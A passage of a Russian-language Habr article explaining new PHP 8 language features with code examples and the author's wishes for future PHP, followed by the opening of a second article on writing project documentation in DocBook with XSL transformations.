$channel->basic_consume($queue, callback: [$this, 'consume']);
```
Ещё несколько примеров:
```
htmlspecialchars($string, default, default, false);
// vs
htmlspecialchars($string, double_encode: false);
```
Внимание! Можно также использовать ассоциативные массивы для именованных параметров (и наоборот).
```
$params = ['start_index' => 0, 'num' => 100, 'value' => 50];
$arr = array_fill(...$params);
```
```
function test(...$args) { var_dump($args); }
test(1, 2, 3, a: 'a', b: 'b');
// [1, 2, 3, "a" => "a", "b" => "b"]
```
[Подробнее](https://stitcher.io/blog/php-8-named-arguments)
4. Оператор безопасного null (Nullsafe operator)
------------------------------------------------
Null — сам по себе не очень хорошая штука (даже очень плохая). Когда функция возвращает `null`, то в каждом месте, где идёт её вызов, программист обязан проверить на `null`. И это приводит к ужасным последствиям.
```
$session = Session::find(123);
if ($session !== null) {
$user = $session->user;
if ($user !== null) {
$address = $user->getAddress();
if ($address !== null) {
$country = $address->country;
}
}
}
```
По хорошему, должен быть метод `Session::findOrFail`, который будет кидать исключение в случае отсутствия результата. Но когда эти методы диктует фреймворк, то мы не можем ничего сделать. Единственное, это проверять каждый раз на `null` либо, где это уместно, использовать `?->`.
```
$country = $session?->user?->getAddress()?->country;
```
Этот код более чистый, чем предыдущий. Но он не идеален. Для идеально чистого кода, нужно использовать шаблон [Null Object](https://www.youtube.com/watch?v=rQ7BzfRz7OY), либо выбрасывать exception. Тогда нам не нужно будет держать в голове возможность null на каждом шагу.
Более правильный вариант:
```
$country = $session->user->getAddress()->country;
```
Интересным моментом в использовании nullsafe есть то, что при вызове метода с помощью `?->`, параметры будут обработаны только если объект не `null`:
```
function expensive_function() {
var_dump('will not be executed');
}
$foo = null;
$foo?->bar(expensive_function()); // won't be called
```
5. Оператор выбора match (Match expression v2)
----------------------------------------------
Для начала покажу код до и после:
```
$v = 1;
switch ($v) {
case 0:
$result = 'Foo';
break;
case 1:
$result = 'Bar';
break;
case 2:
$result = 'Baz';
break;
}
echo $result; // Bar
```
VS
```
$v = 1;
echo match ($v) {
0 => 'Foo',
1 => 'Bar',
2 => 'Baz',
}; // Bar
```
Как видим, это очень приятный оператор для выбора значений, который удобно заменяет `switch`.
Но есть очень **важное отличие** `switch` от `match`: первый сравнивает нестрого `==`, а во втором производится строгое `===` сравнение.
Наглядный пример различия:
```
switch ('foo') {
case 0:
$result = "Oh no!\n";
break;
case 'foo':
$result = "This is what I expected\n";
break;
}
echo $result;
// Oh no!
```
VS
```
echo match ('foo') {
0 => "Oh no!\n",
'foo' => "This is what I expected\n",
};
// This is what I expected
```
> В PHP8 этот пример со switch работает по другому, далее рассмотрим это.
Также, сравниваемыми значениями оператора `match` могут быть выражения. При этом, будут выполнены только те, пока не будет найден первый совпадающий вариант:
```
$result = match ($x) {
foo() => ...,
$this->bar() => ..., // bar() isn't called if foo() matched with $x
$this->baz => ...,
// etc.
};
```
6. Адекватное приведение строки в число (Saner string to number comparisons)
----------------------------------------------------------------------------
Проблема
```
$validValues = ["foo", "bar", "baz"];
$value = 0;
var_dump(in_array($value, $validValues));
// bool(true) ???
```
Это происходит потому, что при нестрогом `==` сравнении строки с числом, строка приводится к числу, то есть, например `(int)"foobar"` даёт `0`.
В PHP8, напротив, сравнивает строку и число как числа только если строка представляет собой число. Иначе, число будет конвертировано в строку, и будет производится строковое сравнение.
| Comparison | Before | After |
| --- | --- | --- |
| `0 == "0"` | `true` | `true` |
| `0 == "0.0"` | `true` | `true` |
| `0 == "foo"` | `true` | `false` |
| `0 == ""` | `true` | `false` |
| `42 == " 42"` | `true` | `true` |
| `42 == "42foo"` | `true` | `false` |
> Стоит отметить, что теперь выражение `0 == ""` даёт `false`. Если у вас из базы пришло значение пустой строки и обрабатывалось как число 0, то теперь это не будет работать. Нужно вручную приводить типы.
Эти изменения относятся ко всем операциям, которые производят нестрогое сравнение:
* Операторы `<=>`, `==`, `!=`, `>`, `>=`, `<`, `<=`.
* Функции `in_array()`, `array_search()`, `array_keys()` с параметром `strict: false` (то есть по умолчанию).
* Сотрировочные функции `sort()`, `rsort()`, `asort()`, `arsort()`, `array_multisort()` с флагом `sort_flags: SORT_REGULAR` (то есть по умолчанию).
Также, есть специальные значения которые при нестрогом сравнении дают `true`:
| Expression | Before | After |
| --- | --- | --- |
| `INF == "INF"` | `false` | `true` |
| `-INF == "-INF"` | `false` | `true` |
| `NAN == "NAN"` | `false` | `false` |
| `INF == "1e1000"` | `true` | `true` |
| `-INF == "-1e1000"` | `true` | `true` |
7. Constructor Property Promotion
---------------------------------
Изначально идея позаимствована в языка-брата Hack. Она состоит в том, чтобы упростить инициализацию полей класса в конструкторе.
Вместо прописания полей класса, параметров конструктора, инициализации полей с помощью параметров, можно просто прописать поля параметрами конструктора:
```
class Point {
public function __construct(
public float $x = 0.0,
public float $y = 0.0,
public float $z = 0.0,
) {}
}
```
Это эквивалентно:
```
class Point {
public float $x;
public float $y;
public float $z;
public function __construct(
float $x = 0.0,
float $y = 0.0,
float $z = 0.0,
) {
$this->x = $x;
$this->y = $y;
$this->z = $z;
}
}
```
С этим всё просто, так как это синтаксический сахар. Но интересный момент возникает при использовании вариативных параметров (их нельзя объявлять таким образом). Для них нужно по-старинке вручную прописать поля и установить их в конструкторе:
```
class Test extends FooBar {
private array $integers;
public function __construct(
private int $promotedProp,
Bar $bar,
int ...$integers,
) {
parent::__construct($bar);
$this->integers = $integers;
}
}
```
8. Новые функции для работы со строками (str\_contains, str\_starts\_with, str\_ends\_with)
-------------------------------------------------------------------------------------------
Функция `str_contains` проверяет, содержит ли строка `$haystack` строку `$needle`:
```
str_contains("abc", "a"); // true
str_contains("abc", "d"); // false
str_contains("abc", "B"); // false
// $needle is an empty string
str_contains("abc", ""); // true
str_contains("", ""); // true
```
Функция `str_starts_with` проверяет, начинается ли строка `$haystack` строкой `$needle`:
```
$str = "beginningMiddleEnd";
var_dump(str_starts_with($str, "beg")); // true
var_dump(str_starts_with($str, "Beg")); // false
```
Функция `str_ends_with` проверяет, кончается ли строка `$haystack` строкой `$needle`:
```
$str = "beginningMiddleEnd";
var_dump(str_ends_with($str, "End")); // true
var_dump(str_ends_with($str, "end")); // false
```
Вариантов `mb_str_ends_with`, `mb_str_starts_with`, `mb_str_contains` нету, так как эти функции уже хорошо работают с мутльтибайтовыми символами.
9. Использование ::class на объектах (Allow ::class on objects)
---------------------------------------------------------------
Раньше, чтобы получить название класса, к которому принадлежит объект, нужно было использовать `get_class`:
```
$object = new stdClass;
$className = get_class($object); // "stdClass"
```
Теперь же, можно использовать такую же нотацию, как и `ClassName::class`:
```
$object = new stdClass;
var_dump($object::class); // "stdClass"
```
10. Возвращаемый тип static (Static return type)
------------------------------------------------
Тип `static` был добавлен для более явного указания, что используется позднее статическое связывание (Late Static Binding) при возвращении результата:
```
class Foo {
public static function createFromWhatever(...$whatever): static {
return new static(...$whatever);
}
}
```
Также, для возвращения `$this`, стоит указывать `static` вместо `self`:
```
abstract class Bar {
public function doWhatever(): static {
// Do whatever.
return $this;
}
}
```
11. Weak Map
------------
Это специальная структура данных для хранения значений, ключами которых являются объекты, в основном используемая для кеширования.
Интерфейс класса выглядит следующим образом:
```
WeakMap implements Countable , ArrayAccess , Iterator {
public __construct ( )
public count ( ) : int
public current ( ) : mixed
public key ( ) : object
public next ( ) : void
public offsetExists ( object $object ) : bool
public offsetGet ( object $object ) : mixed
public offsetSet ( object $object , mixed $value ) : void
public offsetUnset ( object $object ) : void
public rewind ( ) : void
public valid ( ) : bool
}
```
Особенностью есть то, что объекты, используемые как ключи, подвержены сборке мусора. Поэтому, WeakMaps особенно пригодны для долгоживущих процессов.
```
class FooBar {
private WeakMap $cache;
public function getSomethingWithCaching(object $obj) {
return $this->cache[$obj] ??= $this->decorated->getSomething($obj);
}
// ...
}
```
Подробнее можно почитать в [документации](https://www.php.net/manual/en/class.weakmap.php).
12. Исключена возможность использовать левоассоциативный оператор (Deprecate left-associative ternary operator)
---------------------------------------------------------------------------------------------------------------
Рассмотрим код:
```
return $a == 1 ? 'one'
: $a == 2 ? 'two'
: $a == 3 ? 'three'
: $a == 4 ? 'four'
: 'other';
```
Вот как он всегда работал:
| $a | Result |
| --- | --- |
| 1 | 'four' |
| 2 | 'four' |
| 3 | 'four' |
| 4 | 'four' |
В 7.4 код как прежде, отрабатывал, но выдавался `Deprecated Warning`.
Теперь же, в 8 версии, код упадёт с `Fatal error`.
13. Изменение приоритета оператора конкатенации (Change the precedence of the concatenation operator)
-----------------------------------------------------------------------------------------------------
Раньше, приоритет оператора конкатенации `.` был на равне с `+` и `-`, поэтому они исполнялись поочерёдно слева направо, что приводило к ошибкам. Теперь же, его приоритет ниже:
| Expression | Before | Currently |
| --- | --- | --- |
| `echo "sum: " . $a + $b;` | `echo ("sum: " . $a) + $b;` | `echo "sum :" . ($a + $b);` |
14. Возможность оставить запятую в конце списка параметров (Allow trailing comma in parameter list)
---------------------------------------------------------------------------------------------------
Это относится к методам:
```
public function whatever(
string $s,
float $f, // Allowed
) {
// ...
}
```
Обычным функциям:
```
function whatever(
string $s,
float $f, // Allowed
) {
// ...
}
```
Анонимным функциям:
```
$f = function(
string $s,
float $f, // Allowed
) {
// ...
};
```
А также стрелочным функциям:
```
$f = fn(
string $s,
float $f, // Allowed
) => $s . $f;
```
15. Новый интерфейс Stringable
------------------------------
Объекты, которые реализуют метод `__toString`, неявно реализуют этот интерфейс. Сделано это в большей мере для гарантии типобезопасности. С приходом union-типов, можно писать `string|Stringable`, что буквально означает "строка" или "объект, который можно преобразовать в строку". В таком случае, объект будет преобразован в строку только когда уже не будет куда оттягивать.
```
interface Stringable
{
public function __toString(): string;
}
```
Рассмотрим такой код:
```
class A{
public function __toString(): string
{
return 'hello';
}
}
function acceptString(string $whatever) {
var_dump($whatever);
}
acceptString(123.45); // string(6) "123.45"
acceptString(new A()); // string(5) "hello"
```
Здесь функция `acceptString` принимает строку, но что если нам нужно конкретно объект, что может быть преобразован в строку, а не что-либо иное. Вот тут нам поможет интерфейс `Stringable`:
```
function acceptString(Stringable $whatever) {
var_dump($whatever);
var_dump((string)$whatever);
}
// acceptString(123.45);
/*
TypeError
*/
acceptString(new A());
/*
object(A)#1 (0) {
}
string(5) "hello"
*/
```
16. Теперь `throw` — это выражение
----------------------------------
Примеры использования:
```
// This was previously not possible since arrow functions only accept a single expression while throw was a statement.
$callable = fn() => throw new Exception();
// $value is non-nullable.
$value = $nullableValue ?? throw new InvalidArgumentException();
// $value is truthy.
$value = $falsableValue ?: throw new InvalidArgumentException();
// $value is only set if the array is not empty.
$value = !empty($array)
? reset($array)
: throw new InvalidArgumentException();
```
Подробнее можно почитать [здесь](https://wiki.php.net/rfc/throw_expression).
17. Стабильная сортировка
-------------------------
Теперь все сортировки в php стабильные. Это означает, что равные элементы будут оставаться в том же порядке, что и были до сортировки.
Сюда входят sort, rsort, usort, asort, arsort, uasort, ksort, krsort, uksort, array\_multisort, а также соответствующие методы в ArrayObject.
18. Возможность опустить переменную исключения (non-capturing catches)
----------------------------------------------------------------------
Раньше, даже если переменная исключения не использовалась в блоке `catch`, её всё равно нужно быто объявлять (и IDE подсвечивала ошибку, что переменная нигде не используется):
```
try {
changeImportantData();
} catch (PermissionException $ex) {
echo "You don't have permission to do this";
}
```
Теперь же, можно опустить переменную, если никакая дополнительная информация не нужна:
```
try {
changeImportantData();
} catch (PermissionException) { // The intention is clear: exception details are irrelevant
echo "You don't have permission to do this";
}
```
19. Обеспечение правильной сигнатуры магических методов (Ensure correct signatures of magic methods):
-----------------------------------------------------------------------------------------------------
Когда были добавлены type-hints в php, оставалась возможность непавильно написать сигнатуру для магических методов.
К примеру:
```
class Test {
public function __isset(string $propertyName): float {
return 123.45;
}
}
$t = new Test();
var_dump(isset($t)); // true
```
Теперь же, всё жёстко контролируется, и допустить ошибку сложнее.
```
Foo::__call(string $name, array $arguments): mixed;
Foo::__callStatic(string $name, array $arguments): mixed;
Foo::__clone(): void;
Foo::__debugInfo(): ?array;
Foo::__get(string $name): mixed;
Foo::__invoke(mixed $arguments): mixed;
Foo::__isset(string $name): bool;
Foo::__serialize(): array;
Foo::__set(string $name, mixed $value): void;
Foo::__set_state(array $properties): object;
Foo::__sleep(): array;
Foo::__unserialize(array $data): void;
Foo::__unset(string $name): void;
Foo::__wakeup(): void;
```
20. Включить расширение json по умолчанию (Always available JSON extension)
---------------------------------------------------------------------------
Так как функции для работы с json постоянно используются, и нужны чуть ли не в каждом приложении, то было принято решение включить ext-json в PHP по умолчанию.
21. Более строгие проверки типов при для арифметических и побитовых операторов (Stricter type checks for arithmetic/bitwise operators)
--------------------------------------------------------------------------------------------------------------------------------------
Проблема, которую разработчики здесь решили представлена кодом ниже:
```
var_dump([] % [42]);
```
Что должен вывести этот код? Здесь непредсказуемое поведение (будет `0`). Всё потому, что большинство арифметических операторов не должны применятся на массивах.
Теперь, при использовании операторов `+`, `-`, `*`, `/`, `**`, `%`, `<<`, `>>`, `&`, `|`, `^`, `~`, `++`, `--` будет вызывать исключение `TypeError` для операндов `array`, `resource` и `object`.
Но сложение двух массивов по прежнему является корректным вариантом использования.
22. Валидация абстрактных методов в трейтах (Validation for abstract trait methods)
-----------------------------------------------------------------------------------
До восьмой версии, можно было писать что-то вроде:
```
trait T {
abstract public function test(int $x);
}
class C {
use T;
// Allowed, but shouldn't be due to invalid type.
public function test(string $x) {}
}
```
Начиная с восьмой версии, такой код будет падать с ошибкой. Да, и теперь есть возможность в трейте сделать приватный абстрактный метод, который будет реализован в использующем трейт классе.
```
trait MyTrait {
abstract private function neededByTheTrait(): string;
public function doSomething() {
return strlen($this->neededByTheTrait());
}
}
class TraitUser {
use MyTrait;
// This is allowed:
private function neededByTheTrait(): string { }
// This is forbidden (incorrect return type)
private function neededByTheTrait(): stdClass { }
// This is forbidden (non-static changed to static)
private static function neededByTheTrait(): string { }
}
```
Случаи, когда реализация приходит из родительского класса, или трейт применён в родительском классе, также проверяются.
23. Объединения типов (Union Types 2.0)
---------------------------------------
Рассмотрим код:
```
class Number {
/**
* @var int|float $number
*/
private $number;
/**
* @param int|float $number
*/
public function setNumber($number) {
$this->number = $number;
}
/**
* @return int|float
*/
public function getNumber() {
return $this->number;
}
}
```
Здесь тип переменной `$number` контролируется только соглашениями программистов. На самом деле, туда может попасть что угодно, и выйти отсюда может также что угодно, так как проверки на тип не обеспечиваются ядром языка.
Теперь же, можно прописать тип `int|float` (или любой другой) явно, чтобы обеспечить корректность работы модуля:
```
class Number {
private int|float $number;
public function setNumber(int|float $number): void {
$this->number = $number;
}
public function getNumber(): int|float {
return $this->number;
}
}
```
А также, код становится немного чище, так как мы можем избавится от излишних комментариев.
Типы-объединения имеют синтаксис `T1|T2|...` и могут быть использованы во всех местах, где можно прописать type-hints с некоторыми оговорками:
* Тип `void` не может быть частью объединения.
* Чтобы обозначить отсутствие результата, можно объявить "Nullable union type", который имеет следующий синтаксис: `T1|T2|null`.
* Тип `null` не может быть использован вне объединения. Вместо него стоит использовать `void`.
* Существует также псевдотип `false`, который по историческим причинам уже используется некоторыми функциями в php. С другой стороны, не существует тип `true`, так как он нигде не использовался ранее.
Типы полей класса инвариантны, и не могут быть изменены при наследовании.
А вот с методами всё немного интересней:
1. Параметры методов можно расширить, но нельзя сузить.
2. Возвращаемые типы можно сузить, но нельзя расширить.
Вот как это выглядит в коде:
```
class Test {
public function param1(int $param) {}
public function param2(int|float $param) {}
public function return1(): int|float {}
public function return2(): int {}
}
class Test2 extends Test {
public function param1(int|float $param) {} // Allowed: Adding extra param type
public function param2(int $param) {} // FORBIDDEN: Removing param type
public function return1(): int {} // Allowed: Removing return type
public function return2(): int|float {} // FORBIDDEN: Adding extra return type
}
```
То же самое происходит при типах, которые получились как результат наследования:
```
class A {}
class B extends A {}
class Test {
public function param1(B|string $param) {}
public function param2(A|string $param) {}
public function return1(): A|string {}
public function return2(): B|string {}
}
class Test2 extends Test {
public function param1(A|string $param) {} // Allowed: Widening union member B -> A
public function param2(B|string $param) {} // FORBIDDEN: Restricting union member A -> B
public function return1(): B|string {} // Allowed: Restricting union member A -> B
public function return2(): A|string {} // FORBIDDEN: Widening union member B -> A
}
```
Интереснее становится когда `strict_types` установлен в `0`, то есть по умолчанию. Например, функция принимает `int|string`, а мы передали ей `bool`. Что в результате должно быть в переменной? Пустая строка, или ноль? Есть набор правил, по которым будет производиться приведение типов.
Так, если переданный тип не является частью объединения, то действуют следующие приоритеты:
1. int;
2. float;
3. string;
4. bool;
Так вот, будет перебираться этот список с типами, и для каждого проверяться: Если тип существует в объединении, и значение может быть приведёно к нему в соответствии с семантикой PHP, то так и будет сделано. Иначе пробуем следующий тип.
Как исключение, если `string` должен быть приведён к `int|float`, то сравнение идёт в первую очередь в соответствии с семантикой "числовых строк". К примеру, `"123"` станет `int(123)`, в то время как `"123.0"` станет `float(123.0)`.
> К типам `null` и `false` не происходит неявного преобразования.
Таблица неявного приведения типов:
| Original type | 1st try | 2nd try | 3rd try |
| --- | --- | --- | --- |
| `bool` | `int` | `float` | `string` |
| `int` | `float` | `string` | `bool` |
| `float` | `int` | `string` | `bool` |
| `string` | `int/float` | `bool` | |
| `object` | `string` | | |
### Типы полей и ссылки
```
class Test {
public int|string $x;
public float|string $y;
}
$test = new Test;
$r = "foobar";
$test->x =& $r;
$test->y =& $r;
// Reference set: { $r, $test->x, $test->y }
// Types: { mixed, int|string, float|string }
$r = 42; // TypeError
```
Здесь проблема в том, что тип устанавливаемого значения не совместим с объявленными в полях класса. Для `Test::$x` — это могло быть `int(42)`, а для `Test::$y` — `float(42.0)`. Так как эти значения не эквивалентны, то невозможно обеспечить единую ссылку, и `TypeError` будет сгенерирован.
24. Тип mixed (Mixed Type v2)
-----------------------------
Был добавлен новый тип `mixed`.
Он эквивалентен типу `array|bool|callable|int|float|object|resource|string|null`.
Когда параметр объявлен без типа, то его тип — это `mixed`.
Но стоит отметить, что если функция не объявляет возвращаемого значения, то это не `mixed`, а `mixed|void`. Таким образом, если функция гарантированно должна что-то возвращать, но тип результата не известен заранее, то стоит написать его `mixed`.
При наследовании действуют следующие правила:
```
class A
{
public function bar(): mixed {}
}
class B extends A
{
// return type was narrowed from mixed to int, this is allowed
public function bar(): int {}
}
```
```
class C
{
public function bar(): int {}
}
class D extends C
{
// return type cannot be widened from int to mixed
// Fatal error thrown
public function bar(): mixed {}
}
```
Подробнее можно почитать [здесь](https://wiki.php.net/rfc/mixed_type_v2)
### Где смотреть новые фичи
Больше информации про новые функции в PHP можно посмотреть на [rfc watch](https://php-rfc-watch.beberlei.de/).
### IMHO хорошие идеи для PHP
**Неизменные (постоянные, надёжные) переменные**
Иногда программисты сохраняют результат в одну переменную и при последующей обработке перезаписывают её.
```
$result = getThis();
$result = processThat($result, $whatever);
$result = formatForDisplay($result);
// ...
```
Я вижу как минимум 5 недостатков в таком подходе:
1. Скорее всего, переменная названа каким-то общим значением как `$data` или `$result`, что сильно ухудшает дальнейшее понимание кода.
2. Никогда точно не знаешь что в переменной. Чтобы это узнать, нужно либо лезть в последнюю вызваную функцию и смотреть что она возвращает, либо использовать дебаггер, либо вывести результат на экран и посмотреть что же там. Это занимает много времени. Код должен быть очевидным. Почему читатели кода должны так много времени тратить на то, чтобы просто узнать что же хранится в переменной? Давайте не будем их заставлять это делать.
3. Невозможность использовать уже перезаписанное значение где-то дальше в коде. И если уже возникла такая необходимость, то нужно переименовывать переменную начиная с какого-то места. А это чревато новыми ошибками.
4. Неустойчивость к изменениям — если производиться копипаст большой части кода, в котором хотя-бы одно название переменной совпадает с внешним контекстом (например где-то во вложенном `if`), тогда ночь отладки обеспечена.
5. Каждый раз нужно писать знак `$` для обозначения переменной. Да, это спорно, но ведь без долларов проще читать код. Возьмите какого-либо джависта, что он скажет про ваш код? — Уххх как много долларов!
С текущей реализацией PHP можно писать программы практически не используя переназначение переменной. Тем самым код стал бы куда лучше понятным, так как для каждой переменной нужно дать имя в соответствии с тем, что там храниться. Было бы хорошо на уровне языка дать возможность ограничить перезаписывание переменной.
Вот пример проблемного кода. Метод довольно длинный, а переменная `$user` используется во многих местах. Со временем, значение может быть случайно перезаписано:
```
final class RegisterUser
{
public function __construct(private EntityManager $entityManager, ...) { }
public function __invoke(string $email, string $password): int {
$user = new User();
$user->email = $email;
$user->password = $password;
$this->entityManager->persist($user);
// a lot of code
// someone copied a stump of code into here thereby owerwriting $user variable
$user = $this->employeeRepository->findBySomething(...);
// even more code
return $user->id; // now wrong id is returned
}
}
$registerUser = new RegisterUser(...);
$userId = $registerUser('admin@example.com', 'password');
```
Думаю, проблема ясна. Кто-либо может скопировать часть кода, перезаписав критически важную переменную `$user`. А потом узнать это будет очень трудно. Кому-то придется много дебажить, чтобы найти проблемное место.
Вот как я вижу "fail fast" реализацию:
```
public function __invoke(string email, string password): int
{
user = new User();
user->email = email;
user->password = password;
$this->entityManager->persist(user);
// a lot of code
// someone copied a stump of code into here
// will throw an Error
user = $this->employeeRepository->findBySomething(...);
// even more code
return user->id;
}
```
Теперь код более устойчив к изменениям. Случайная перезапись переменной исключена. Более того, мы теперь не нуждаемся в постоянных долларах для обозначения переменной. Согласитесь же, код стал намного лучше. И мы сразу видим что `user` — это "invariable" (неизменяемая переменная).
> На счет иммутабельности, возможность записи в `user->email` может показаться странной, если переменная `user` неизменяемая. ИМХО, это даёт нам выбор, а значит — больше гибкости. Дело в том, что мы сами можем сделать наши классы иммутабельными, и контролировать это. То как это будет работать, полностью зависит от того как реализован класс, а не как мы объявили переменную. В любом случае, потом при необходимости можно будет добавить в язык фичу вычисляемых констант `const user = findById(id)`, которые будут гарантировать иммутабельность даже объектов.
А теперь давайте вспомним проблему с циклами, в которых ссылка используется в качестве итерируемого значения:
```
$a = ['zero','one','two', 'three'];
foreach ($a as &$v) { }
foreach ($a as $v) {
echo "$v ";
}
```
Как вы (не) могли предположить, результатом будет `zero` `one` `two` `two`.
Добавив нормальную видимость для "immutable переменных", эта проблема решается сама собой. Как часто мы в теле цикла перезаписываем итерируемое значение? Лично я — никогда. Так почему же не использовать константную ссылку вместо ссылочной переменной?
```
function checkOutConstantLoopReferences(array arr) {
result=[];
foreach (arr as &immutableValueByReference) {
result[] = immutableValueByReference['some']['very']['nested']['data']['structure'];
}
return result;
}
```
**Перегрузка операторов**
Ссылку на RFC можно найти [вот тут](https://wiki.php.net/rfc/userspace_operator_overloading).
Из 66 разработчиков, 28 проголосовали против, и поэтому, не смотря на то, что идея уже была реализована, предложение было отклонено. Думаю стоит поднять дискуссию на эту тему.
Почему я считаю это полезным?
Представим сложную систему для бронирования мест на самолёт. Мы реализуем доменную модель. Для предоставления денег, мы создали свой класс `Money`:
```
final class Money
{
private string $currency;
private int $valueInCoins;
public function add(self $another): self
{
// ...
}
public function subtract(self $another): self
{
// ...
}
public function multiply(float $factor): self
{
// ...
}
public function divide(float $factor): self
{
// ...
}
public function equalsTo(self $other): bool
{
// ...
}
}
```
Вот пример использования этого класса:
```
$money->add(Money::usd(100));
```
Внимание, вопрос!
Метод `add()` добавляет деньги к текущему объекту, или возвращает новый объект с суммарной стоимостью? Клиентский код этого не может знать. Правда если название метода не `addGivenValueToThisAndReturnNew`, но зачем так страшно называть метод? Название должно быть кратким и очевидным. Но к сожалению, в данном случае такого не существует. Никакое название не будет лучше передавать намерение, чем оператор `+`.
Вот этот код уже не вызывает сомнений:
```
$money + Money::usd(100);
```
Из этого кода сразу понятно что будет возвращено новое значение. Перегрузка операторов не приносит неясности. Наоборот, это даёт возможность больше прояснить код.
**Разрешить вычисления в константных выражениях для полей класса**
Ссылку на RFC можно найти [вот тут](https://wiki.php.net/rfc/calls_in_constant_expressions_poll).
Как по мне, этого критически не хватает.
Вот пример кода, где это очень полезно:
```
use Spatie\ModelStates\State;
abstract class OrderStatus extends State
{
public static string $name = static::getName();
abstract protected static function getName(): string;
}
```
При первом обращении к `$name`, будет вызван метод `getName` финального класса. Это дает нам возможность настраивать какие значения будут попадать в поля в зависимости от каких-либо условий. А в данном примере это использовано с шаблоном "Template Method", и финальные классы обязаны предоставить нам значение для поля.
Сейчас многие фреймворки имеют значения по умолчанию для большинства конфигураций в своих классах. Проблема с таким подходом заключается в том, что мы можем предоставить примитивы. Никаких вызовов функций не разрешено. А что если мы хотим вызвать хелпер `config` для предоставления конфигурации, которая задаётся в поле класса? Тогда у нас возникнут трудности с этим. Нужно переопределять конструктор, где уже задавать значение поля. Хорошо, когда конструктор не имеет много параметров. А что, если там много параметров (к примеру 7)? Тогда для простого создания поля, нужно 20 дополнительных бесполезных строк кода. И выглядит это ещё как уродливо!
Просто сравните то как это сейчас:
```
protected string $whatever;
public function __construct(
array $query = [],
array $request = [],
array $attributes = [],
array $cookies = [],
array $files = [],
array $server = [],
$content = null
) {
parent::__construct(
$query,
$request,
$attributes,
$cookies,
$files,
$server,
$content
);
$this->whatever = $this->whateverConfig();
}
```
И то, как это могло быть:
```
protected string $whatever = $this->whateverConfig();
``` | https://habr.com/ru/post/526220/ | null | ru | null |
# Разработка документации при помощи DocBook
Так уж сложилось, что в наших проектах ведение технической документации полностью лежит на плечах разработчиков, по принципу: внес изменения в код проекта — актуализировал документацию. Сама документация представляла собой набор Word’овских документов, которая хранилась вместе с исходным кодом под VCS. Данный подход к организации разработки существовал долгое время, но пару лет назад мы решили озаботиться возможностью ведения документации проекта отличными от MS Office средствами.
Причин для этого было несколько:
* Первая и, наверное, самая важная — частые конфликты при совместной правке файлов.
* Вторая причина – хотя документов было очень много, все они имели сходную структуру и во многом пересекались по содержанию (из-за особенностей архитектуры проекта). И как истинных программистов нас не устраивало «дублирование» текста.
* И наконец, вечная борьба со стилями оформления.
Все эти проблемы накладывались друг на друга и делали уже из этого, и так не очень любимого процесса актуализации документации, невыносимое по суровости наказание. Бывало, что после нескольких часов писанины, ты с чувством выполненного долга пытаешься «залить» свои изменения в SVN и получаешь нерадостное известие, что кто-то оказался быстрее тебя или ты просто напросто забыл обновиться перед началом работы. В любом случае это означало, что перекур придется немного отложить. Помимо текста необходимо было уделять внимание и стилям оформления, которые с довольно завидной регулярностью по каким-то причинам «ломались» (например нумерация списка началась с начала, в место того что бы продолжаться и т.п.). Причем не все такие «поломки» получалось легко устранить, иногда начинало казаться что Word живет какой-то своей жизнью и ему глубоко наплевать на твои пожелания к оформлению.
Таким образом, наша альтернатива MS Word должна была удовлетворять следующим критериям:
1. Текстовой формат хранения документа — для удобной работы с ним в VCS.
2. Поддержка широких возможностей оформления и стилизации документа.
3. Возможность декомпозиции конечного документа на фрагменты — для повторного использования.
4. Возможность публикации конечного документа в различных форматах.
В результате продолжительного поиска мы поняли, что решений, удовлетворяющим нашим требованиям, существует не так уж и много: DITA и DocBook. DITA сразу нам показался слишком «мощным» и сложным для перехода, а вот на DocBook мы решили остановится. Вообще говоря, поиск альтернативного решения был очень постепенным и прежде чем мы поняли что «так жить дальше нельзя» и полным переходом на DocBook — прошел не один день и было проведено большое количество экспериментов над тем что было в тот момент у нас на руках. Первым делом попробовали хранить документы в формате WordML, что в какой-то степени решило проблему со слиянием изменений — теперь слияние не всегда заканчивалось конфликтом, но ручное разрешение конфликтов в разметке было очень дискомфортным. Также пробовали разделить документы на фрагменты, тем самым снизив возможность конфликтных изменений и попытаться осуществить их повторное использование. Затея оказалась очень не удачной. И так постепенно, путем проб и ошибок, все таки решили полностью перейти на DocBook, так как по нашему мнению, он должен был устранить все наши проблемы.
#### Что такое «DocBook»?
Ели вдруг, кто не в курсе, [DocBook](http://ru.wikipedia.org/wiki/DocBook) — это стандарт описания документа и ничего полезного, кроме как, стандартизации содержимого он не делает. Причем стандарт достаточно старый, и многими, почему-то, считается уже устаревшим.
Написание документа в формате DocBook очень напоминает работу с HTML, только используется свой набор тегов и правил их употребления.
```
First Chapter
Hello world!
```
Данный пример демонстрирует описание книги состоящий из одной главы с названием «First Chapter» содержащий абзац с текстом «Hello Word!». Полный список тегов, а также примеры их применения можно подсмотреть на сайте проекта [www.docbook.org](http://www.docbook.org/) . От себя хочу заметить, что набор тегов для описания содержимого очень (даже очень очень) большой, но в повседневной работе мы используем около 20.
#### Преобразование документа DocBook
Для того, что бы привести наш документ DocBook в какой-нибудь пригодный для чтения или печати формат необходимо использовать трансформатор (или даже конвейер из нескольких трансформаторов друг за другом), который на основе содержимого документа и, обычно, стилей оформления сформирует конечный документ.
Как правило для трансформации используется DocBook -xsl (хотя существуют и более экзотические способы). Из коробки он уже поддерживает несколько форматов документов — html, xsl-fo, manpages и др. В случае, если требуется иной формат представления, то можно продолжить цепочку преобразований. Так для получения документа в PDF обычно используют следующую схему:
И вот тут начинается самое интересное. Стили реализованные в DocBook-xsl по умолчанию позволяют получить нормальный по внешнему виду документ, но обычно, все равно требуется их кастомизация.
Разработчики стилей docbook-xsl позаботились об этой возможности и реализовали для этого специальные механизмы:
* Самые общие параметры по формированию документа каждого из поддерживаемых форматов вынесены в отдельный файл param.xsl и для каждого из них есть более-менее подробное описание.
* Существуют специальные шаблоны для формирования пользовательских шаблонов.
* Наличие специальных, пустых по умолчанию шаблонов для последующего их переопределения.
Чаще всего, для управления процессом формирования документа разрабатывается собственный корневой XSL стиль, так называемый «Драйвер» в котором уже осуществляется тонкая настройка всех остальных параметров трансформации. Так как, каждый конечный формат в DocBook-xsl представлен своим набором шаблонов, то и «драйвер» под каждый из них нужно писать отдельный. Например, мы используем два конечных формата представления документа (xsl-fo и htmlhelp) и соответственно имеем два «драйвера» и два набора переопределенных стилей.
##### Выбор xslt и fo процессора
